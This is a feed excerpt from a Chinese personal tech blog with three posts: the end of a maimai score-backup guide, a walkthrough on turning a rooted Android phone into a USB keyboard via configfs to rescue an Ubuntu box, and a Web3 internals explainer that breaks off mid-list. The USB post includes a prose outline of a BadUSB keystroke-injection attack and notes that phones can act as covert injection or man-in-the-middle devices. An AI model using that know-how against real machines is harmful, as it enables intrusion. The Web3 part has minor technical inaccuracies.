&lt;p&gt;如果你实在不放心，可以点击个人资料里的token旁边的刷新按钮，这样所有原来已绑定的bot都无法访问你的水鱼账号，这个取决于你个人了，理论上会安全点，就是bot需要重新绑定&lt;/p&gt;
&lt;p&gt;*&lt;em&gt;12/20 01:14补充&lt;/em&gt;
:::&lt;/p&gt;
&lt;p&gt;:::yellow[how to do]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果我发现我的游玩记录已经被扫了怎么办&lt;br /&gt;
首先，不要同步水鱼成绩，直接点开水鱼官网备份数据，这里的备份大概率是干净的，如果你没有同步&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;水鱼页面打不开&lt;br /&gt;
因为跑去备份的人多，而且可能有人在攻击水鱼服务器，这个暂时不清楚，我建议期间不要同步水鱼成绩，丢一两个成绩没传无所谓，坐和放宽等一会，兴许就能进去了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果我非要点二维码同步查分器咋办&lt;br /&gt;
也不是不行，但是风险极高，你可以在点二维码前，先备份一次数据，这能保证你至少有一个安全的备份可以回退，然后再点二维码同步查分器，既满足了你的&lt;s&gt;反骨&lt;/s&gt;需求也能保证你有一个能用的备份
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[备份能干嘛]
这里需要区分一下&lt;code&gt;游戏账号数据&lt;/code&gt;和&lt;code&gt;查分器数据&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;游戏账号数据就是，你每次上机之后，在舞萌net里看到的游玩成绩，上机用的是舞萌net游戏账号，而不是查分器账号&lt;/li&gt;
&lt;li&gt;查分器数据就是，你把账号数据手动同步到查分器，用于bot等提供查分等功能，你可以把查分器里的乐曲数据近似看成是你的账号里的乐曲数据，但是数据更新需要你每次手动同步，虽然会有滞后性，但是也保证了你的游戏账号被毁之后可以通过水鱼备份恢复&lt;/li&gt;
&lt;li&gt;备份则是将你的查分器数据复制一份，存到你的手机/电脑里，假如你的账号被毁了，就可以通过这个备份来恢复你的账号原有成绩
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了不影响观感，剩余不必要的补充内容会在文末写&lt;/p&gt;
&lt;p&gt;关于发票的事情之前有讲，参考这个&lt;a href=&quot;/2025/09/07/maiLog20250906/&quot;&gt;文章&lt;/a&gt;,在文末写了关于被发票的解决方案&lt;/p&gt;
&lt;h2&gt;1. 水鱼查分器&lt;/h2&gt;
&lt;p&gt;登录&lt;a href=&quot;https://www.diving-fish.com/maimaidx/prober/&quot;&gt;水鱼查分器&lt;/a&gt;，直接点击下方的&lt;code&gt;导出为 CSV&lt;/code&gt;按钮，选择&lt;code&gt;UTF-8&lt;/code&gt;，导出，浏览器会自动下载。使用文本编辑器打开即可查看你的成绩。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/1.jpg&quot; alt=&quot;dv&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/2.jpg&quot; alt=&quot;dv2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2. 落雪查分器&lt;/h2&gt;
&lt;p&gt;登录&lt;a href=&quot;https://maimai.lxns.net/user/scores?tab=backup&quot;&gt;落雪咖啡屋&lt;/a&gt;，点开左侧菜单，选择&lt;code&gt;成绩管理&lt;/code&gt;，点击&lt;code&gt;备份成绩&lt;/code&gt;，选择导出，浏览器会自动开始下载，用文本编辑器即可打开。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/3.jpg&quot; alt=&quot;lxns&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/4.jpg&quot; alt=&quot;lxns2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3. 部分需要关注的地方&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;单纯不获取二维码目前貌似已经无法阻拦扫号，备份成绩是目前最有效的最坏方案&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我不推荐您使用各种来路不明的小众bot，这里只给出了主流的两家查分器原因就在这里，他们本身就易用且积累了一定的权威可信度，国服备份数据首选这两家主流查分器绝对是最优选择&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关于0010，如果你的账号里被挂哥发了机台不存在的东西，就会爆炸，比如提前给你发了下个版本的旅行伙伴，你上机的时候机台并没有那个版本的资源，就会爆炸，大多数情况下是这样，也有其他情况&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;待补充，我会根据广大舞萌群里的常见的提问对本文进行补充&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 引流&lt;/h2&gt;
&lt;p&gt;如果你对部分原理感兴趣，不妨看一下我之前写的文章，&lt;a href=&quot;/2025/08/27/toolsForMaimai/&quot;&gt;直达链接&lt;/a&gt;，这里简单讲了一下关于二维码的相关问题，上次的扫号日志请看&lt;a href=&quot;/2025/09/07/maiLog20250906/&quot;&gt;mai 纪事：9 月大规模科技扫号和国服万花筒事件&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;说好的不会再管mai圈的事呢&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>仅用Android手机拯救Linux主机，带你深入了解USB Gadget</title><link>https://xice.cx/posts/aKeyboardHsf/</link><guid isPermaLink="true">https://xice.cx/posts/aKeyboardHsf/</guid><description>本文从原理到实操介绍如何用已 root 的 Android 通过 USB Gadget 模拟成 HID 键盘，并借助主板 IO 灯拯救无法 SSH 的 Ubuntu 主机</description><pubDate>Tue, 16 Dec 2025 16:34:26 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;首先介绍一下本期主角，Chongxi之前购入过一台玩客云小主机，并给他刷了Ubuntu armv7，当作一个轻量的服务器来使用，在上面跑跑AdguardHome这种小玩意。在爆改的过程中，因为配置文件错误，导致主机的网卡死了，无法进行ssh连接，由于所处环境没有实体键盘以及HDMI显示器用，主机也没有reset按钮，使这台主机成了半残废的状态。&lt;/p&gt;
&lt;h2&gt;0.1 食材准备&lt;/h2&gt;
&lt;p&gt;首先介绍下救砖工具：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一台root过的Android手机&lt;/li&gt;
&lt;li&gt;USB数据线
所需软件：&lt;/li&gt;
&lt;li&gt;USB Gadget Tool&lt;/li&gt;
&lt;li&gt;Android HID Keyword&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所需文件均已给出其GitHub链接，您也可以通过&lt;a href=&quot;https://atlas.chongxi.us/@s/lUP9oBcO&quot;&gt;Atlas快递站&lt;/a&gt;一键下载所需文件。&lt;/p&gt;
&lt;h2&gt;1. 原理讲解&lt;/h2&gt;
&lt;p&gt;其实非常简单，就是拿Android设备模拟成键盘，输入到主机中。至于无HDMI可视化是如何判断命令输出的？答案是，IO灯&lt;br /&gt;
对，你没听错，大多数人可能听说过靠主板IO灯来debug，很少听说过靠IO灯来判断输入输出并拯救ubuntu主机吧，当你输入操作和主机输出时，IO灯会闪烁，本文就是靠IO灯来诊断的&lt;/p&gt;
&lt;p&gt;既然知道了原理，那么接下来救砖就一定很简单了...吧？&lt;/p&gt;
&lt;h3&gt;1.1 拦路虎&lt;/h3&gt;
&lt;p&gt;首先，绝对不是你想的「把数据线一接，然后打开Gboard就能输入」这么简单。&lt;br /&gt;
USB协议有严格的主从关系，你插上主机后，大概率是被主机作为要被调试的设备，而不是反过去调试主机。&lt;br /&gt;
再者就是BadUSB风险，这里简单过一下基本知识
:::blue[BadUSB]
&lt;code&gt;BadUSB&lt;/code&gt;是最经典的攻击手段之一，USB协议有一个信任漏洞，主机会无条件信任设备对自己身份的声明，你说你是键盘他就会相信，没有额外的校验过程。一个简单的BadUSB攻击过程如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将攻击设备插入主机&lt;/li&gt;
&lt;li&gt;攻击设备向主机声明他是U盘，主机信任并加载&lt;/li&gt;
&lt;li&gt;攻击设备主动断开连接，并以HID的声明重新连接，主机并不会校验他到底是不是键盘，会直接加载驱动，无任何防备接受一切来自此设备的输入&lt;/li&gt;
&lt;li&gt;攻击设备开始向主机注入命令（如启动powershell下载木马），而在主机看来，这可能是一个打字飞快的人类，所以不会有任何阻拦
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::yellow[这和你的android手机又有什么关系？]
如果你的android设备有完整的&lt;code&gt;USB Gadget&lt;/code&gt;权限，他就能变成OURWORLD里最强大最隐蔽的BadUSB，谁会怀疑一个毫无威胁的正在充电的手机呢？
你可以使用Termux写攻击脚本来对目标设备注入，对方以为你在充电，实则模拟成键盘，甚至USB网卡劫持流量来发起中间人攻击，&lt;code&gt;NetHunter&lt;/code&gt;就是一个专门为Android设备定制的渗透用rom，可以随意控制手机USB接口，伪装成各种设备&lt;/p&gt;
&lt;p&gt;OEM厂商 Google Android社区都明白，对于这么巨大的安全隐患，做决策就非常简单了，直接砍掉&lt;br /&gt;
因为对于普通消费者来说，他们用USB传输顶多就是互传照片文件和网络共享，直接干掉Gadget无疑是OEM厂商的必然选择，风险实在过于严重
:::
那么，我是如何让Android设备成功模拟成HID对Ubuntu进行输入的呢&lt;/p&gt;
&lt;h2&gt;2. 实现原理&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Talk is cheap, show me the code.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们直接来看 Linux 内核的官方&lt;code&gt;configfs.txt&lt;/code&gt;来解释，为什么用户空间程序能够控制内核级别的硬件行为&lt;/p&gt;
&lt;h3&gt;2.1 内核提供蓝图 而不是成品&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Where sysfs is a filesystem-based view of kernel objects, configfs is a filesystem-based manager of kernel objects
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，&lt;code&gt;sysfs&lt;/code&gt; 是让你看内核已经创建好的东西（比如你的 CPU 温度），而 &lt;code&gt;configfs&lt;/code&gt; 是让你要求内核为你创建新的东西。
当 Android 内核被编译时，开启了 &lt;code&gt;CONFIG_USB_GADGET&lt;/code&gt; 和 &lt;code&gt;CONFIG_USB_HID&lt;/code&gt; 选项后，内核并不会立刻创建一个USB键盘设备。它只是在 &lt;code&gt;/config/usb_gadget/&lt;/code&gt; 目录下，准备好了基础工具，等着你来超级拼装&lt;/p&gt;
&lt;h3&gt;2.2 &lt;code&gt;mkdir&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;A configfs config_item is created via an explicit userspace operation: mkdir(2).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你在 &lt;code&gt;configfs&lt;/code&gt; 里每创建一个目录，就等于在调用一个内核函数&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /config/usb_gadget/g1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;这个命令执行时，&lt;code&gt;configfs&lt;/code&gt;会通知USB Gadget：用户想创建一个新的 Gadget 实例 g1&lt;/li&gt;
&lt;li&gt;内核模块后在内存里分配了一块空间，用来描述这个即将被创建的USB设备&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 目录与文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;The item&apos;s attributes will also appear at this time.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;mkdir&lt;/code&gt; 成功后，内核会立刻在这个新目录里，为你生成一堆配置文件，这些文件就是这个新对象的可配置属性&lt;/p&gt;
&lt;p&gt;比如我们 &lt;code&gt;mkdir g1&lt;/code&gt; 之后，&lt;code&gt;ls /config/usb_gadget/g1&lt;/code&gt; 可能会看到类似这样的东西：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;idVendor     # 厂商ID
idProduct    # 产品ID
strings/     # 各种字符串描述，比如厂商名
functions/   # 定义了这个 Gadget 能扮演什么设备
configs/     # 具体的USB配置绑定
UDC          # 把配置好的 Gadget 绑定到物理 USB 控制器上
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 写入配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;write(2) can store new values.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是你用 &lt;code&gt;echo&lt;/code&gt; 往这些属性文件里写东西，就等于在设置内核里那个对象的参数&lt;/p&gt;
&lt;p&gt;比如让它模拟成键盘&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /config/usb_gadget/g1/functions/hid.usb0
    
# 配置参数
echo &quot;...&quot; &amp;gt; /config/usb_gadget/g1/functions/hid.usb0/report_desc
    
# 创建一个USB配置，绑定键盘功能
mkdir /config/usb_gadget/g1/configs/c.1
ln -s /config/usb_gadget/g1/functions/hid.usb0 /config/usb_gadget/g1/configs/c.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.5 激活&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[configfs handles] the filesystem representation... allowing the subsystem to ignore all but the basic show/store interaction.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内核模块本身不关心你是怎么创建和配置的，它只在最后一步，等待激活&lt;/p&gt;
&lt;p&gt;例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 找到你手机的 USB 控制器名称 (比如 a12345.dwc3)，然后把它写入 UDC 文件
echo &quot;a12345.dwc3&quot; &amp;gt; /config/usb_gadget/g1/UDC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 UDC 文件被写入时，内核的 USB Gadget 模块会收到一个Commit信号&lt;br /&gt;
它会读取你刚才在 &lt;code&gt;g1&lt;/code&gt; 目录下做的所有配置，把它们组装成一个完整的 USB 设备描述符&lt;br /&gt;
然后，它会命令物理 USB 控制器断开当前的连接，并以键盘身份重新连接到主机&lt;/p&gt;
&lt;p&gt;这样，就完成了 Android设备模拟成键盘输入设备的操作。&lt;/p&gt;
&lt;h2&gt;3. 我是如何救砖的&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;确保你的android手机已root，安装前文的两个开源工具，在Gadget Tool中授予su权限，并勾选启用HID Keyboard，便完成了Android设备模拟成键盘的操作&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用数据线将Android设备接入ubuntu主机，此时手机会被识别成输入设备，当你按下HID Keyboard提供的软键盘时，是能够看到IO灯闪烁的，接下来的诊断完全是靠IO灯判断的&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尝试输入密码并等待十秒，建议直接使用root账号，可以省去sudo的麻烦，&lt;s&gt;这种情况在乎用户组安全没啥必要&lt;/s&gt;，随后执行&lt;code&gt;ls&lt;/code&gt;观察IO灯是否剧烈闪烁，如果剧烈闪烁则说明ls成功提供了输出，为了稳妥起见，这里决定&lt;code&gt;reboot&lt;/code&gt;一下，主机重启，说明我们登录操作没问题&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chongxi这里是提前准备过一个恢复脚本，防止这种铸币情况，主要功能是恢复原来的网卡备份的内容。再次通过io灯判断输入，直接执行恢复命令，主机重启，打开openwrt，发现ubuntu对应的LAN口开始有正常流量通信，ssh可以正常连接，救砖成功&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 结&lt;/h2&gt;
&lt;p&gt;本文确实已经超出了普通Linux桌面版使用的范畴，&lt;s&gt;可以说是纯粹的炫技&lt;/s&gt;，需要你的设备内核支持且已root，可以说是天时地利人和都很考验的一种解决方案&lt;/p&gt;
&lt;p&gt;对于Linux玩家来说，没有绝对的死局，只有你还未发现的后门，这就是卓越的开放性&lt;/p&gt;
</content:encoded><category>Linux</category><category>Android</category><category>USB Gadget</category><author>Chongxi</author></item><item><title>什么是web3？从状态机到去中心化金融，带你认识最清晰的Web3本质</title><link>https://xice.cx/posts/whatIsWeb3/</link><guid isPermaLink="true">https://xice.cx/posts/whatIsWeb3/</guid><description>本文旨在向你系统拆解下被营销号包裹的Web3本质。我们抹去黄金之上的泡沫，带你认识计算机科学历史上最激进的一次架构迁移：将信任从中心化的人类机构，转移到去中心化的数学协议之上</description><pubDate>Mon, 24 Nov 2025 10:34:39 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Web3&lt;/code&gt;这个词已经被市场营销号嚼烂了。本文旨在向你系统拆解下被营销号包裹的Web3本质。我们抹去黄金之上的泡沫，带你认识计算机科学历史上最激进的一次架构迁移：&lt;strong&gt;将&lt;code&gt;信任&lt;/code&gt;从中心化的人类机构，转移到去中心化的数学协议之上&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1 节点如何互联&lt;/h2&gt;
&lt;p&gt;Web3 没有中心服务器，只有对等节点。&lt;br /&gt;
问题是：&lt;strong&gt;在没有 DNS 服务器的情况下，我的电脑怎么知道你在哪里？&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.1 节点发现协议 &lt;code&gt;Discovery Protocol&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;这完全不同于 HTTP。它使用的是基于 Kademlia 算法的 DHT&lt;code&gt;分布式哈希表&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enode ID&lt;/strong&gt;: 每个节点的身份证&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;格式：&lt;code&gt;enode://&amp;lt;128位公钥&amp;gt;@&amp;lt;IP地址&amp;gt;:&amp;lt;端口&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;当你启动一个 Geth 客户端，它会生成这个唯一的 URL&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;引导节点 (Bootnodes)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是代码里写死的种子节点列表&lt;/li&gt;
&lt;li&gt;新节点上线时，先去，质询 Bootnodes 在线节点&lt;/li&gt;
&lt;li&gt;Bootnodes 返回一堆它知道的 IP。你的节点再去连这些 IP，像病毒扩散一样&lt;code&gt;Gossip&lt;/code&gt;找到整个网络&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 通信协议 &lt;code&gt;RLPx&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;一旦找到了对方，怎么发数据？不可能是http
以太坊使用的是 &lt;strong&gt;RLPx (Recursive Length Prefix Transport Protocol)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;握手 (Handshake)&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A 发送 &lt;code&gt;Auth&lt;/code&gt; 消息（用对方公钥加密的 ECDH 密钥交换）&lt;/li&gt;
&lt;li&gt;B 返回 &lt;code&gt;Ack&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;建立加密通道（TCP 长连接）&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多路复用 (Multiplexing)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在这个 TCP 连接里，同时跑着不同的子协议：&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eth/66&lt;/code&gt;: 交换区块头、交易数据&lt;/li&gt;
&lt;li&gt;&lt;code&gt;snap/1&lt;/code&gt;: 快速同步快照数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. 数据结构&lt;/h2&gt;
&lt;p&gt;区块链并不是一个巨大的 Excel
如果用 Excel，当你只修改一行数据，整个文件的哈希值都会变，你需要重算 1TB 数据的哈希，这很显然不显示&lt;/p&gt;
&lt;p&gt;Web3 使用的是 &lt;strong&gt;&lt;code&gt;Merkle Patricia Trie (MPT)&lt;/code&gt;&lt;/strong&gt;  &lt;strong&gt;默克尔压缩前缀树&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.1 什么是树&lt;/h3&gt;
&lt;p&gt;这是一种结合了哈希树&lt;code&gt;Merkle Tree&lt;/code&gt;和前缀树&lt;code&gt;Radix Trie&lt;/code&gt;的变态结构&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key&lt;/strong&gt;: 账户地址的哈希（&lt;code&gt;Keccak256(Address)&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt;: 账户内容的 RLP 编码（&lt;code&gt;[Nonce, Balance, StorageRoot, CodeHash]&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 节点的四种形态&lt;/h3&gt;
&lt;p&gt;在数据库底层，MPT 树由四种节点拼凑而成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Leaf Node (叶子节点)&lt;/strong&gt;: &lt;code&gt;[Key, Value]&lt;/code&gt;。这是真正存数据的地方（比如你的余额）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Extension Node (扩展节点)&lt;/strong&gt;: &lt;code&gt;[Shared Key, Next Node Hash]&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果一堆地址都是 &lt;code&gt;0xabc...&lt;/code&gt; 开头，我们不需要存一万次 &lt;code&gt;0xabc&lt;/code&gt;，只存一次，下面挂一个指针。这叫路径压缩&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Branch Node (分支节点)&lt;/strong&gt;: 一个长度为 17 的数组&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前 16 个对应十六进制的 &lt;code&gt;0-f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;决定了路径是往 &lt;code&gt;0&lt;/code&gt; 走还是往 &lt;code&gt;f&lt;/code&gt; 走&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Null Node&lt;/strong&gt;: 空节点&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.3 状态更新&lt;/h3&gt;
&lt;p&gt;当你修改余额时：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;我们不复制整棵树。&lt;/li&gt;
&lt;li&gt;我们只修改受影响的&lt;strong&gt;叶子节点&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;然后&lt;strong&gt;重新计算这条路径上所有父节点的 Hash&lt;/strong&gt;，直到根节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;旧的节点依然存在&lt;/strong&gt;（这就实现了历史回溯），但生成了一个&lt;strong&gt;新的 Root Hash&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;这个新的 &lt;code&gt;Root Hash&lt;/code&gt; 被放进了新的区块头里&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3.EVM 的微观执行&lt;/h2&gt;
&lt;p&gt;EVM 是如何把字节码变成转账的？&lt;/p&gt;
&lt;h3&gt;3.1 内存模型详解&lt;/h3&gt;
&lt;p&gt;EVM 运行时有三块区域，性质完全不同：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Stack (堆栈)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;结构&lt;/strong&gt;: LIFO (后进先出)，最大深度 1024&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;: 所有的计算（加减乘除）都在这里发生&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指令&lt;/strong&gt;: &lt;code&gt;ADD&lt;/code&gt; 从栈顶拿两个数，相加，结果推回栈顶&lt;/li&gt;
&lt;li&gt;&lt;em&gt;特性&lt;/em&gt;: 几乎免费（Gas 极低），但随着函数结束消失&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Memory (内存)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;结构&lt;/strong&gt;: 线性字节数组&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;: 临时存放字符串、数组、返回值&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;成本&lt;/strong&gt;: 它是&lt;strong&gt;按平方计费&lt;/strong&gt;的，你申请的内存越大，Gas 呈指数级上涨（防止你把节点的 RAM 撑爆）&lt;/li&gt;
&lt;li&gt;&lt;em&gt;特性&lt;/em&gt;: 交易结束后数据清零&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Storage (存储)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;结构&lt;/strong&gt;: 键值对映射 (Key-Value Map)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;: 永久写入区块链状态（MPT 树）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指令&lt;/strong&gt;: &lt;code&gt;SSTORE&lt;/code&gt; (写), &lt;code&gt;SLOAD&lt;/code&gt; (读)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;成本&lt;/strong&gt;: &lt;strong&gt;天价&lt;/strong&gt;。写一个非零值会需要 20000 Gas&lt;/li&gt;
&lt;li&gt;&lt;em&gt;特性&lt;/em&gt;: 永久保存，全网同步&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.2 具体指令的执行流&lt;/h3&gt;
&lt;p&gt;假设代码是 &lt;code&gt;a = b + c&lt;/code&gt;。在 EVM 字节码里是这样的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;PUSH1 0x05&lt;/code&gt; (把数值 5 推入栈) -&amp;gt; Stack: &lt;code&gt;[5]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PUSH1 0x03&lt;/code&gt; (把数值 3 推入栈) -&amp;gt; Stack: &lt;code&gt;[3, 5]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ADD&lt;/code&gt; (加法操作)
&lt;ul&gt;
&lt;li&gt;CPU 弹出 3 和 5。&lt;/li&gt;
&lt;li&gt;计算 3+5=8。&lt;/li&gt;
&lt;li&gt;把 8 推入栈。&lt;/li&gt;
&lt;li&gt;Stack: &lt;code&gt;[8]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PUSH1 0x00&lt;/code&gt; (准备存到 Slot 0) -&amp;gt; Stack: &lt;code&gt;[0, 8]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SSTORE&lt;/code&gt; (存储指令)
&lt;ul&gt;
&lt;li&gt;CPU 弹出 0 (Key) 和 8 (Value)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;物理动作&lt;/strong&gt;: 在 LevelDB 里写入 &lt;code&gt;MPT_Update(Key=0, Value=8)&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扣费&lt;/strong&gt;: 扣除用户 20000 点Gas&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 交易层&lt;/h2&gt;
&lt;p&gt;一笔交易在网线上传输时，不是 JSON，而是一串被序列化的二进制流&lt;/p&gt;
&lt;h3&gt;4.1 Recursive Length Prefix)&lt;/h3&gt;
&lt;p&gt;这是以太坊发明的一种极简序列化格式。&lt;br /&gt;
如果是一个字节，直接存。如果是一串字节，前面加一个前缀表示长度，这极致压缩了空间&lt;/p&gt;
&lt;h3&gt;4.2 交易结构&lt;/h3&gt;
&lt;p&gt;一笔 &lt;code&gt;Raw Transaction&lt;/code&gt; 包含以下字段（按顺序 RLP 编码）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;nonce&lt;/code&gt;: 计数器（防重放）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gasPrice&lt;/code&gt;: 你愿意为每单位 Gas 出多少钱&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gasLimit&lt;/code&gt;: 你最多愿意花多少 Gas&lt;/li&gt;
&lt;li&gt;&lt;code&gt;to&lt;/code&gt;: 目标地址（如果是空，表示&lt;strong&gt;创建新合约&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;value&lt;/code&gt;: 转账金额（Wei）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data&lt;/code&gt;: &lt;strong&gt;这就是智能合约的函数调用数据&lt;/strong&gt;（比如 &lt;code&gt;0xa9059cbb...&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;v, r, s&lt;/code&gt;: &lt;strong&gt;ECDSA 数字签名&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;4.3 签名原理&lt;/h3&gt;
&lt;p&gt;当你点击 发送交易 时，你的钱包在做什么？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;哈希&lt;/strong&gt;: 计算 &lt;code&gt;h = Keccak256(RLP(nonce, gasPrice, ... data))&lt;/code&gt;&lt;/li&gt;
